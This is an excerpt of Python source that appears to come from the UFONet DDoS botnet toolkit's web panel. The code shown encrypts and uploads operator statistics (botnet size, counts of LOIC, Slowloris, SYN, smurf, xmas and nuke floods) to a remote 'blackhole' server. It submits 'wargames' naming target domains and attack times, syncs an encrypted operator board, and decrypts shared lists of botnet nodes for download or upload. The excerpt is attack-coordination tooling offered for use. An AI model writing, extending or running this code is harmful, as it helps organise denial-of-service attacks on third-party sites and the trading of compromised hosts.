  3843. grid_ranking = str(i[1])
  3844. self.encrypt(grid_key, grid_ranking)
  3845. if self.encryptedtext:
  3846. grid_ranking = self.encryptedtext
  3847. self.encryptedtext = "" # clean encryptedtext buffer
  3848. grid_totalchargo = str(i[2])
  3849. self.encrypt(grid_key, grid_totalchargo)
  3850. if self.encryptedtext:
  3851. grid_totalchargo = self.encryptedtext
  3852. self.encryptedtext = "" # clean encryptedtext buffer
  3853. grid_dorking = str(i[3])
  3854. self.encrypt(grid_key, grid_dorking)
  3855. if self.encryptedtext:
  3856. grid_dorking = self.encryptedtext
  3857. self.encryptedtext = "" # clean encryptedtext buffer
  3858. grid_transferred = str(i[4])
  3859. self.encrypt(grid_key, grid_transferred)
  3860. if self.encryptedtext:
  3861. grid_transferred = self.encryptedtext
  3862. self.encryptedtext = "" # clean encryptedtext buffer
  3863. grid_maxchargo = str(i[5])
  3864. self.encrypt(grid_key, grid_maxchargo)
  3865. if self.encryptedtext:
  3866. grid_maxchargo = self.encryptedtext
  3867. self.encryptedtext = "" # clean encryptedtext buffer
  3868. grid_missions = str(i[6])
  3869. self.encrypt(grid_key, grid_missions)
  3870. if self.encryptedtext:
  3871. grid_missions = self.encryptedtext
  3872. self.encryptedtext = "" # clean encryptedtext buffer
  3873. grid_attacks = str(i[7])
  3874. self.encrypt(grid_key, grid_attacks)
  3875. if self.encryptedtext:
  3876. grid_attacks = self.encryptedtext
  3877. self.encryptedtext = "" # clean encryptedtext buffer
  3878. grid_loic = str(i[8])
  3879. self.encrypt(grid_key, grid_loic)
  3880. if self.encryptedtext:
  3881. grid_loic = self.encryptedtext
  3882. self.encryptedtext = "" # clean encryptedtext buffer
  3883. grid_loris = str(i[9])
  3884. self.encrypt(grid_key, grid_loris)
  3885. if self.encryptedtext:
  3886. grid_loris = self.encryptedtext
  3887. self.encryptedtext = "" # clean encryptedtext buffer
  3888. grid_ufosyn = str(i[10])
  3889. self.encrypt(grid_key, grid_ufosyn)
  3890. if self.encryptedtext:
  3891. grid_ufosyn = self.encryptedtext
  3892. self.encryptedtext = "" # clean encryptedtext buffer
  3893. grid_spray = str(i[11])
  3894. self.encrypt(grid_key, grid_spray)
  3895. if self.encryptedtext:
  3896. grid_spray = self.encryptedtext
  3897. self.encryptedtext = "" # clean encryptedtext buffer
  3898. grid_smurf = str(i[12])
  3899. self.encrypt(grid_key, grid_smurf)
  3900. if self.encryptedtext:
  3901. grid_smurf = self.encryptedtext
  3902. self.encryptedtext = "" # clean encryptedtext buffer
  3903. grid_xmas = str(i[13])
  3904. self.encrypt(grid_key, grid_xmas)
  3905. if self.encryptedtext:
  3906. grid_xmas = self.encryptedtext
  3907. self.encryptedtext = "" # clean encryptedtext buffer
  3908. grid_nuke = str(i[14])
  3909. self.encrypt(grid_key, grid_nuke)
  3910. if self.encryptedtext:
  3911. grid_nuke = self.encryptedtext
  3912. self.encryptedtext = "" # clean encryptedtext buffer
  3913. grid_tachyon = str(i[15])
  3914. self.encrypt(grid_key, grid_tachyon)
  3915. if self.encryptedtext:
  3916. grid_tachyon = self.encryptedtext
  3917. self.encryptedtext = "" # clean encryptedtext buffer
  3918. grid_contact = str(i[16])
  3919. self.encrypt(grid_key, grid_contact)
  3920. if self.encryptedtext:
  3921. grid_contact = self.encryptedtext
  3922. self.encryptedtext = "" # clean encryptedtext buffer
  3923. grid_id = str(i[17]) # id (plain id)
  3924. l = str(grid_nickname) + "#?#" + str(grid_ranking) + "#?#" + str(grid_totalchargo) + "#?#" + str(grid_dorking) + "#?#" + str(grid_transferred) + "#?#" + str(grid_maxchargo) + "#?#" + str(grid_missions) + "#?#" + str(grid_attacks) + "#?#" + str(grid_loic) + "#?#" + str(grid_loris) + "#?#" + str(grid_ufosyn) + "#?#" + str(grid_spray) + "#?#" + str(grid_smurf)+ "#?#" + str(grid_xmas) + "#?#" + str(grid_nuke) + "#?#" + str(grid_tachyon) + "#?#" + str(grid_contact) + "#?#" + str(grid_id)
  3925. f.write(l)
  3926. f.close()
  3927. except:
  3928. pass
  3929. if page == "/cmd_grid_filter_update":
  3930. if not os.path.exists('/tmp/out'):
  3931. open('/tmp/out', 'w').close()
  3932. with open('/tmp/out', 'r') as f:
  3933. self.pages["/cmd_grid_filter_update"] = "<pre>"+f.read()+"<pre>"
  3934. if page == "/cmd_transfer_grid":
  3935. self.pages["/cmd_transfer_grid"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  3936. blackhole_ip = pGet["grid_source"]
  3937. blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
  3938. try:
  3939. grid_key = pGet["grid_key"]
  3940. except:
  3941. grid_key = ""
  3942. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  3943. if grid_key is not "": # stream creation + encryption + package send
  3944. try:
  3945. grid_json_file = open(self.mothership_gridcfg_file, "r") # extract grid profile conf
  3946. grid_data = json.load(grid_json_file)
  3947. grid_json_file.close()
  3948. stats_json_file = open(self.mothership_stats_file, "r") # extract mothership stats
  3949. stats_data = json.load(stats_json_file)
  3950. stats_json_file.close()
  3951. nickname = grid_data["grid_nick"].encode('utf-8')
  3952. self.encrypt(grid_key, nickname)
  3953. if self.encryptedtext:
  3954. nickname = self.encryptedtext
  3955. self.encryptedtext = "" # clean encryptedtext buffer
  3956. ranking = self.ranking
  3957. if ranking == "Rookie":
  3958. ranking = 1
  3959. elif ranking == "Mercenary":
  3960. ranking = 2
  3961. elif ranking == "Bandit":
  3962. ranking = 3
  3963. elif ranking == "UFOmmander!":
  3964. ranking = 4
  3965. elif ranking == "UFOl33t!":
  3966. ranking = 5
  3967. else:
  3968. ranking = 1
  3969. self.encrypt(grid_key, str(ranking))
  3970. if self.encryptedtext:
  3971. ranking = self.encryptedtext
  3972. self.encryptedtext = "" # clean encryptedtext buffer
  3973. chargo = self.total_botnet
  3974. self.encrypt(grid_key, str(chargo))
  3975. if self.encryptedtext:
  3976. chargo = self.encryptedtext
  3977. self.encryptedtext = "" # clean encryptedtext buffer
  3978. dorking = stats_data["scanner"]
  3979. self.encrypt(grid_key, str(dorking))
  3980. if self.encryptedtext:
  3981. dorking = self.encryptedtext
  3982. self.encryptedtext = "" # clean encryptedtext buffer
  3983. transferred = stats_data["transferred"]
  3984. self.encrypt(grid_key, str(transferred))
  3985. if self.encryptedtext:
  3986. transferred = self.encryptedtext
  3987. self.encryptedtext = "" # clean encryptedtext buffer
  3988. max_chargo = stats_data["max_chargo"]
  3989. self.encrypt(grid_key, str(max_chargo))
  3990. if self.encryptedtext:
  3991. max_chargo = self.encryptedtext
  3992. self.encryptedtext = "" # clean encryptedtext buffer
  3993. missions = stats_data["missions"]
  3994. self.encrypt(grid_key, str(missions))
  3995. if self.encryptedtext:
  3996. missions = self.encryptedtext
  3997. self.encryptedtext = "" # clean encryptedtext buffer
  3998. attacks = stats_data["completed"]
  3999. self.encrypt(grid_key, str(attacks))
  4000. if self.encryptedtext:
  4001. attacks = self.encryptedtext
  4002. self.encryptedtext = "" # clean encryptedtext buffer
  4003. loic = stats_data["loic"]
  4004. self.encrypt(grid_key, str(loic))
  4005. if self.encryptedtext:
  4006. loic = self.encryptedtext
  4007. self.encryptedtext = "" # clean encryptedtext buffer
  4008. loris = stats_data["loris"]
  4009. self.encrypt(grid_key, str(loris))
  4010. if self.encryptedtext:
  4011. loris = self.encryptedtext
  4012. self.encryptedtext = "" # clean encryptedtext buffer
  4013. ufosyn = stats_data["ufosyn"]
  4014. self.encrypt(grid_key, str(ufosyn))
  4015. if self.encryptedtext:
  4016. ufosyn = self.encryptedtext
  4017. self.encryptedtext = "" # clean encryptedtext buffer
  4018. spray = stats_data["spray"]
  4019. self.encrypt(grid_key, str(spray))
  4020. if self.encryptedtext:
  4021. spray = self.encryptedtext
  4022. self.encryptedtext = "" # clean encryptedtext buffer
  4023. smurf = stats_data["smurf"]
  4024. self.encrypt(grid_key, str(smurf))
  4025. if self.encryptedtext:
  4026. smurf = self.encryptedtext
  4027. self.encryptedtext = "" # clean encryptedtext buffer
  4028. xmas = stats_data["xmas"]
  4029. self.encrypt(grid_key, str(xmas))
  4030. if self.encryptedtext:
  4031. xmas = self.encryptedtext
  4032. self.encryptedtext = "" # clean encryptedtext buffer
  4033. nuke = stats_data["nuke"]
  4034. self.encrypt(grid_key, str(nuke))
  4035. if self.encryptedtext:
  4036. nuke = self.encryptedtext
  4037. self.encryptedtext = "" # clean encryptedtext buffer
  4038. tachyon = stats_data["tachyon"]
  4039. self.encrypt(grid_key, str(tachyon))
  4040. if self.encryptedtext:
  4041. tachyon = self.encryptedtext
  4042. self.encryptedtext = "" # clean encryptedtext buffer
  4043. contact = grid_data["grid_contact"].encode('utf-8')
  4044. self.encrypt(grid_key, str(contact))
  4045. if self.encryptedtext:
  4046. contact = self.encryptedtext
  4047. self.encryptedtext = "" # clean encryptedtext buffer
  4048. id = grid_data["grid_token"] # plain text
  4049. stream = str(nickname)+grid_msg_sep+str(ranking)+grid_msg_sep+str(chargo)+grid_msg_sep+str(dorking)+grid_msg_sep+str(transferred)+grid_msg_sep+str(max_chargo)+grid_msg_sep+str(missions)+grid_msg_sep+str(attacks)+grid_msg_sep+str(loic)+grid_msg_sep+str(loris)+grid_msg_sep+str(ufosyn)+grid_msg_sep+str(spray)+grid_msg_sep+str(smurf)+grid_msg_sep+str(xmas)+grid_msg_sep+str(nuke)+grid_msg_sep+str(tachyon)+grid_msg_sep+str(contact)+grid_msg_sep+str(id)
  4050. try:
  4051. host = blackhole_ip
  4052. cport = 9992 # port used by mothership grider (server side script)
  4053. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  4054. gs.settimeout(5.0)
  4055. gs.connect((host, cport))
  4056. gs.send(stream)
  4057. gs.close()
  4058. try: # download latest grid after submit
  4059. grid = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/grid.txt').read()
  4060. f = open(self.grid_file, "w") # write updates to grid.txt
  4061. f.write(str(grid))
  4062. f.close()
  4063. except:
  4064. pass
  4065. grid_trans = "[Info] [AI] Statistics transferred! -> [OK!]\n"
  4066. except:
  4067. grid_trans = "[Error] [AI] Something wrong uploading statistics. Try it again...\n"
  4068. except:
  4069. grid_trans = "[Error] [AI] Something wrong uploading statistics. Try it again...\n"
  4070. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4071. f = open("/tmp/out", "w")
  4072. f.write(grid_trans)
  4073. f.write(end_mark)
  4074. f.close()
  4075. if page == "/cmd_transfer_grid_update":
  4076. if not os.path.exists('/tmp/out'):
  4077. open('/tmp/out', 'w').close()
  4078. with open('/tmp/out', 'r') as f:
  4079. self.pages["/cmd_transfer_grid_update"] = "<pre>"+f.read()+"<pre>"
  4080. if page == "/cmd_transfer_wargame":
  4081. self.pages["/cmd_transfer_wargame"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  4082. blackhole_ip = pGet["wargames_source2"]
  4083. blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
  4084. try:
  4085. wargames_enckey = pGet["wargames_enckey"]
  4086. except:
  4087. wargames_enckey = ""
  4088. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  4089. wargames_target = pGet["wargames_target"]
  4090. if wargames_target.startswith("http://") or wargames_target.startswith("https://"): # parse proposed target url
  4091. t = urlparse(str(wargames_target))
  4092. wargames_target = t.netloc
  4093. else:
  4094. wargames_trans = "[Error] [AI] Proposed target hasn't a correct format!. Try it again...\n"
  4095. wargames_enckey = ""
  4096. if wargames_target.startswith("www."):
  4097. wargames_target = wargames_target.replace("www.","")
  4098. wargames_estimated = pGet["wargames_estimated"]
  4099. try:
  4100. wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
  4101. wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
  4102. if (wargames_creation > wargames_estimated) == True: # parse bad dates
  4103. wargames_trans = "[Error] [AI] Date time should be major than creation time. Try it again...\n"
  4104. wargames_enckey = ""
  4105. except:
  4106. wargames_trans = "[Error] [AI] Date time is not using a correct format!. Try it again...\n"
  4107. wargames_enckey = ""
  4108. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4109. if wargames_enckey is not "": # stream creation + encryption + package send
  4110. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  4111. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  4112. try:
  4113. self.encrypt(wargames_enckey, wargames_creation)
  4114. if self.encryptedtext:
  4115. wargames_creation = self.encryptedtext
  4116. self.encryptedtext = "" # clean encryptedtext buffer
  4117. self.encrypt(wargames_enckey, wargames_target)
  4118. if self.encryptedtext:
  4119. wargames_target = self.encryptedtext
  4120. self.encryptedtext = "" # clean encryptedtext buffer
  4121. self.encrypt(wargames_enckey, wargames_estimated)
  4122. if self.encryptedtext:
  4123. wargames_estimated = self.encryptedtext
  4124. self.encryptedtext = "" # clean encryptedtext buffer
  4125. stream = str(wargames_creation)+wargames_msg_sep+str(wargames_target)+wargames_msg_sep+str(wargames_estimated)
  4126. try:
  4127. host = blackhole_ip
  4128. cport = 9992 # port used by mothership grider (server side script)
  4129. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  4130. gs.settimeout(5.0)
  4131. gs.connect((host, cport))
  4132. gs.send(stream)
  4133. gs.close()
  4134. try: # download latest wargames after submit
  4135. wargames = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/wargames.txt').read()
  4136. f = open(self.wargames_file, "w") # write updates to wargames.txt
  4137. f.write(str(wargames))
  4138. f.close()
  4139. except:
  4140. pass
  4141. wargames_trans = "[Info] [AI] Wargame transferred! -> [OK!]\n"
  4142. except:
  4143. wargames_trans = "[Error] [AI] Something wrong uploading wargame. Try it again...\n"
  4144. except:
  4145. wargames_trans = "[Error] [AI] Something wrong uploading wargame. Try it again...\n"
  4146. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4147. f = open("/tmp/out", "w")
  4148. f.write(wargames_trans)
  4149. f.write(end_mark)
  4150. f.close()
  4151. if page == "/cmd_transfer_wargame_update":
  4152. if not os.path.exists('/tmp/out'):
  4153. open('/tmp/out', 'w').close()
  4154. with open('/tmp/out', 'r') as f:
  4155. self.pages["/cmd_transfer_wargame_update"] = "<pre>"+f.read()+"<pre>"
  4156. if page == "/cmd_sync_board":
  4157. self.pages["/cmd_sync_board"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4158. blackhole_ip = pGet["board_source"]
  4159. blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
  4160. try:
  4161. board = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/board.txt').read()
  4162. f = open(self.board_file, "w") # write updates to board.txt
  4163. f.write(str(board))
  4164. f.close()
  4165. self.board_text = board
  4166. except:
  4167. board = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4168. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4169. f = open("/tmp/out", "w")
  4170. f.write(str(board))
  4171. f.write(end_mark)
  4172. f.close()
  4173. if page == "/cmd_sync_board_update":
  4174. if not os.path.exists('/tmp/out'):
  4175. open('/tmp/out', 'w').close()
  4176. with open('/tmp/out', 'r') as f:
  4177. stream = f.read()
  4178. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  4179. self.pages["/cmd_sync_board_update"] = "<pre>"+stream+"<pre>"
  4180. if page == "/cmd_send_message_board":
  4181. self.pages["/cmd_send_message_board"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  4182. blackhole_ip = pGet["board_source"]
  4183. blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
  4184. try:
  4185. board_key = pGet["board_key"]
  4186. except:
  4187. board_key = ""
  4188. try:
  4189. board_topic = pGet["board_topic"]
  4190. except:
  4191. board_topic = ""
  4192. try:
  4193. board_message = pGet["stream_txt"]
  4194. except:
  4195. board_message = ""
  4196. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4197. if board_key is not "" or board_topic is not "" or board_message is not "": # stream creation (topic | icon | nick | id | comment) + encryption (board_key) + package send (default blackhole)
  4198. try:
  4199. board_json_file = open(self.mothership_boardcfg_file, "r") # extract board profile conf
  4200. board_data = json.load(board_json_file)
  4201. board_json_file.close()
  4202. board_nickname = board_data["profile_nick"]
  4203. self.encrypt(board_key, board_nickname)
  4204. if self.encryptedtext:
  4205. board_nickname = self.encryptedtext
  4206. self.encryptedtext = "" # clean encryptedtext buffer
  4207. board_icon = board_data["profile_icon"]
  4208. board_icon = board_icon.replace("link", "") # keep just icon number
  4209. board_id = board_data["profile_token"]
  4210. self.encrypt(board_key, board_message)
  4211. if self.encryptedtext:
  4212. board_message = self.encryptedtext
  4213. self.encryptedtext = "" # clean encryptedtext buffer
  4214. if board_topic == "general":
  4215. board_topic = 1
  4216. elif board_topic == "opsec":
  4217. board_topic = 2
  4218. elif board_topic == "faq":
  4219. board_topic = 3
  4220. elif board_topic == "bugs":
  4221. board_topic = 4
  4222. elif board_topic == "media":
  4223. board_topic = 5
  4224. else:
  4225. board_topic = 1
  4226. stream = str(board_topic)+board_msg_sep+str(board_icon)+board_msg_sep+str(board_nickname)+board_msg_sep+str(board_id)+board_msg_sep+str(board_message)
  4227. try:
  4228. host = blackhole_ip
  4229. cport = 9992 # port used by mothership grider (server side script)
  4230. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  4231. gs.settimeout(5.0)
  4232. gs.connect((host, cport))
  4233. gs.send(stream)
  4234. gs.close()
  4235. try: # download latest board after submit
  4236. board = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/board.txt').read()
  4237. f = open(self.board_file, "w") # write updates to board.txt
  4238. f.write(str(board))
  4239. f.close()
  4240. except:
  4241. pass
  4242. board_trans = "[Info] [AI] The message has been sent! -> [OK!]\n"
  4243. except:
  4244. board_trans = "[Error] [AI] Something wrong sending message to the board. Try it again...\n"
  4245. except:
  4246. board_trans = "[Error] [AI] Something wrong sending message to the board. Try it again...\n"
  4247. f = open("/tmp/out", "w")
  4248. f.write(board_trans)
  4249. f.write(end_mark)
  4250. f.close()
  4251. if page == "/cmd_send_message_board_update":
  4252. if not os.path.exists('/tmp/out'):
  4253. open('/tmp/out', 'w').close()
  4254. with open('/tmp/out', 'r') as f:
  4255. self.pages["/cmd_send_message_board_update"] = "<pre>"+f.read()+"<pre>"
  4256. if page == "/cmd_decrypt":
  4257. self.pages["/cmd_decrypt"] = "<pre>Waiting for decrypting results...</pre>"
  4258. try:
  4259. news_key = pGet["news_key"]
  4260. except:
  4261. news_key = ""
  4262. try:
  4263. missions_key = pGet["missions_key"]
  4264. except:
  4265. missions_key = ""
  4266. end_mark = "\n[Info] [AI] End of decryption."
  4267. if news_key is not "": # news decryption
  4268. self.decrypted_news = []
  4269. nodec_text = "*** [This message cannot be solved with that key...]"
  4270. news_key = pGet["news_key"]
  4271. for news_text in self.list_news:
  4272. self.decrypt(news_key, news_text)
  4273. if self.decryptedtext:
  4274. self.decrypted_news.append(self.decryptedtext)
  4275. else:
  4276. self.decrypted_news.append(nodec_text)
  4277. self.decryptedtext = "" # clean decryptedtext buffer
  4278. f = open("/tmp/out", "w")
  4279. num_news = 0 # news counter
  4280. for m in self.decrypted_news:
  4281. num_news = num_news + 1
  4282. f.write("["+str(num_news)+"] " + str(m)+"\n")
  4283. f.write(end_mark)
  4284. f.close()
  4285. else:
  4286. if missions_key is not "": # missions decryption
  4287. self.decrypted_missions = []
  4288. nodec_text = "*** [This message cannot be solved with that key...]"
  4289. missions_key = pGet["missions_key"]
  4290. for missions_text in self.list_missions:
  4291. self.decrypt(missions_key, missions_text)
  4292. if self.decryptedtext:
  4293. self.decrypted_missions.append(self.decryptedtext)
  4294. else:
  4295. self.decrypted_missions.append(nodec_text)
  4296. self.decryptedtext = "" # clean decryptedtext buffer
  4297. f = open("/tmp/out", "w")
  4298. num_mission = 0 # missions counter
  4299. for m in self.decrypted_missions:
  4300. num_mission = num_mission + 1
  4301. f.write("["+str(num_mission)+"] " + str(m)+"\n")
  4302. f.write(end_mark)
  4303. f.close()
  4304. else: # blackholes (nodes.dat) decryption + data showing
  4305. self.decrypted_blackholes = []
  4306. nodec_text = "*** [This message cannot be solved with that key...]"
  4307. blackhole_key = pGet["blackhole_key"]
  4308. for blackholes_text in self.list_blackholes:
  4309. self.decrypt(blackhole_key, blackholes_text)
  4310. if self.decryptedtext:
  4311. self.decrypted_blackholes.append(self.decryptedtext)
  4312. else:
  4313. self.decrypted_blackholes.append(nodec_text)
  4314. self.decryptedtext = "" # clean decryptedtext buffer
  4315. f = open("/tmp/out", "w")
  4316. num_blackholes = 0 # blackholes counter
  4317. for b in self.decrypted_blackholes:
  4318. num_blackholes = num_blackholes + 1
  4319. if blackhole_sep in b: # IP | Mode | Comment | Actions
  4320. s = b.rsplit(blackhole_sep, 1)[0]
  4321. ip = str(s.rsplit(blackhole_sep, 1)[0])
  4322. mode = str(s.rsplit(blackhole_sep, 1)[1])
  4323. if mode == "D": # Download only mode
  4324. mode = "<a href=javascript:runCommandX('cmd_download_community')>Download</a>"
  4325. elif mode == "U": # Upload only mode
  4326. mode = "<a href=javascript:runCommandX('cmd_upload_community')>Upload</a>"
  4327. else: # Upload/Download mode
  4328. mode = "<a href=javascript:runCommandX('cmd_download_community')>Download</a>" + " - " + "<a href=javascript:runCommandX('cmd_upload_community')>Upload</a>"
  4329. comment = str(b.rsplit(blackhole_sep, 1)[1])
  4330. b = ip + " " + blackhole_sep + " Botnet: " + mode + " " + blackhole_sep + " Comment: " + comment
  4331. f.write("["+str(num_blackholes)+"] " + str(b)+"\n")
  4332. else:
  4333. f.write("["+str(num_blackholes)+"] " + str(b)+"\n")
  4334. f.write(end_mark)
  4335. f.close()
  4336. if page == "/cmd_decrypt_update":
  4337. if not os.path.exists('/tmp/out'):
  4338. open('/tmp/out', 'w').close()
  4339. with open('/tmp/out', 'r') as f:
  4340. self.pages["/cmd_decrypt_update"] = "<pre>"+f.read()+"<pre>"
  4341. if page == "/news":
  4342. self.pages["/news"] = self.html_news()
  4343. if page == "/missions":
  4344. self.pages["/missions"] = self.html_missions()
  4345. if page == "/board":
  4346. self.pages["/board"] = self.html_board()
  4347. if page == "/grid":
  4348. self.pages["/grid"] = self.html_grid()
  4349. if page == "/wargames":
  4350. self.pages["/wargames"] = self.html_wargames()
  4351. if page == "/grid_profile":
  4352. if pGet=={}:
  4353. self.pages["/grid_profile"] = self.html_grid_profile()
  4354. else:
  4355. self.save_grid(pGet)
  4356. self.pages["/grid_profile"] = self.html_grid_profile_submit()
  4357. if page == "/board_profile":
  4358. if pGet =={}:
  4359. self.pages["/board_profile"] = self.html_board_profile()
  4360. else:
  4361. self.save_profile(pGet)
  4362. self.pages["/board_profile"] = self.html_board_profile_submit()
  4363. if page == "/board_remove":
  4364. self.pages["/board_remove"] = self.html_board_remove()
  4365. if page == "/grid_remove":
  4366. self.pages["/grid_remove"] = self.html_grid_remove()
  4367. if page == "/cmd_decrypt_moderator_board":
  4368. self.pages["/cmd_decrypt_moderator_board"] = "<pre>Waiting for decrypting results...</pre>"
  4369. try:
  4370. board_key = pGet["board_key"]
  4371. except:
  4372. board_key = ""
  4373. try:
  4374. filter = pGet["filter"]
  4375. except:
  4376. filter = ""
  4377. end_mark = "\n[Info] [AI] End of decryption."
  4378. if board_key is not "": # board decryption
  4379. nodec_text = "***[ENCRYPTED WITH OTHER KEY]"
  4380. f = open("/tmp/out", "w")
  4381. b = "<center><table border='1' cellpadding='10' cellspacing='5' align=center>"
  4382. f.write(str(b)+"\n")
  4383. self.list_moderator_rev = reversed(self.list_moderator) # order by DESC
  4384. for m in self.list_moderator_rev: # msg = topic | icon | nick | id | comment
  4385. if board_msg_sep in m:
  4386. m = m.split(board_msg_sep)
  4387. topic = m[0] # topic
  4388. t = m[1] # icon
  4389. n = m[2] # nick
  4390. g = m[3] # id
  4391. l = m[4] # comment
  4392. if topic == "1":
  4393. topic = "/GENERAL"
  4394. elif topic == "2":
  4395. topic = "/#OPSEC "
  4396. elif topic == "3":
  4397. topic = "/FAQ "
  4398. elif topic == "4":
  4399. topic = "/BUGS "
  4400. elif topic == "5":
  4401. topic = "/MEDIA "
  4402. else:
  4403. topic = "/BUGS[!]"
  4404. icon = "<img src='/images/crew/link"+str(t)+".png'>"
  4405. nick = str(n)
  4406. self.decrypt(board_key, nick)
  4407. if self.decryptedtext:
  4408. nick = self.decryptedtext
  4409. else:
  4410. nick = 'Anonymous' # We are legion!
  4411. self.decryptedtext = "" # clean decryptedtext buffer
  4412. id = str(g)[0:6] # only show 6 chars from personal ID (obfuscation)
  4413. msg = str(l)
  4414. self.decrypt(board_key, msg)
  4415. if self.decryptedtext:
  4416. msg = self.decryptedtext
  4417. else:
  4418. msg = nodec_text
  4419. self.decryptedtext = "" # clean decryptedtext buffer
  4420. if filter in topic or filter == "ALL": # filter content by user selection
  4421. b = "<tr valign=top><td align=center>" + icon + "<br>"+nick+"</td><td>"
  4422. b += "<font size=+2>"+topic+"</font>"
  4423. b += "<br>by "+nick+"<br><br>"
  4424. b += str(msg) + "</td></tr>"
  4425. f.write(str(b)+"\n")
  4426. else:
  4427. pass
  4428. else: # not valid stream data
  4429. pass
  4430. b="</table>"
  4431. f.write(str(b)+"\n")
  4432. f.write(end_mark)
  4433. f.close()
  4434. if page == "/cmd_decrypt_moderator_board_update":
  4435. if not os.path.exists('/tmp/out'):
  4436. open('/tmp/out', 'w').close()
  4437. with open('/tmp/out', 'r') as f:
  4438. self.pages["/cmd_decrypt_moderator_board_update"] = "<pre>"+f.read()+"<pre>"
  4439. if page == "/cmd_decrypt_grid":
  4440. self.pages["/cmd_decrypt_grid"] = "<pre>Waiting for decrypting results...</pre>"
  4441. try:
  4442. grid_key = pGet["grid_key"]
  4443. except:
  4444. grid_key = ""
  4445. end_mark = "[Info] [AI] End of decryption."
  4446. if grid_key is not "": # grid decryption
  4447. # Mothership stats counters
  4448. mothership_members = 0
  4449. unknown_members = 0
  4450. member_1 = 0 # Rookie
  4451. member_2 = 0 # Mercenary
  4452. member_3 = 0 # Bandit
  4453. member_4 = 0 # UFOmmander!
  4454. member_5 = 0 # UFOl33t!
  4455. mothership_missions = 0
  4456. mothership_transferred = 0
  4457. mothership_attacks = 0
  4458. mothership_loic = 0
  4459. mothership_loris = 0
  4460. mothership_ufosyn = 0
  4461. mothership_spray = 0
  4462. mothership_smurf = 0
  4463. mothership_xmas = 0
  4464. mothership_nuke = 0
  4465. mothership_tachyon = 0
  4466. mothership_chargo = 0
  4467. mothership_dorking = 0
  4468. mothership_maxchargo = 0
  4469. nodec_text = "KEY?"
  4470. grid_table = "<center><u>MEMBERS STATS:</u></center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_nickname' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('nickname','"+str(grid_key)+"')>NICK:</a></td><td align='center'><a id='filter_ranking' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ranking','"+str(grid_key)+"')>RANK:</a></td><td align='center'><a id='filter_chargo' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('chargo','"+str(grid_key)+"')>CHARGO:</a></td><td align='center'><a id='filter_dorking' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('dorking','"+str(grid_key)+"')>DORKING:</a></td><td align='center'><a id='filter_transf' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('transferred','"+str(grid_key)+"')>TRANSF:</a></td><td align='center'><a id='filter_maxchargo' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('maxchargo','"+str(grid_key)+"')>MAX.CHARGO:</a></td><td align='center'><a id='filter_missions' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('missions','"+str(grid_key)+"')>MISSIONS:</a></td><td align='center'><a id='filter_attacks' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('attacks','"+str(grid_key)+"')>ATTACKS:</a></td><td align='center'><a id='filter_loic' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('loic','"+str(grid_key)+"')>LOIC:</a></td><td align='center'><a id='filter_loris' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('loris','"+str(grid_key)+"')>LORIS:</a></td><td align='center'><a id='filter_ufosyn' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ufosyn','"+str(grid_key)+"')>UFOSYN:</a></td><td align='center'><a id='filter_spray' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('spray','"+str(grid_key)+"')>SPRAY:</a></td><td align='center'><a id='filter_smurf' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('smurf','"+str(grid_key)+"')>SMURF:</a></td><td align='center'><a id='filter_xmas' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('xmas','"+str(grid_key)+"')>XMAS:</a></td><td align='center'><a id='filter_nuke' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('nuke','"+str(grid_key)+"')>NUKE:</a></td><td align='center'><a id='filter_tachyon' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('tachyon','"+str(grid_key)+"')>TACHYON:</a></td><td align='center'><a id='filter_contact' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('contact','"+str(grid_key)+"')>CONTACT:</a></td></tr>"
  4471. grid_key = pGet["grid_key"]
  4472. f = open("/tmp/out", "w")
  4473. self.list_grid_rev = reversed(self.list_grid) # order by DESC
  4474. for m in self.list_grid_rev: # rev(msg) = nickname, ranking, chargo, dorking, transf, maxchargo, missions, attacks, loic, loris, ufosyn, spray, smurf, xmas, nuke, tachyon, contact, ID
  4475. if grid_msg_sep in m:
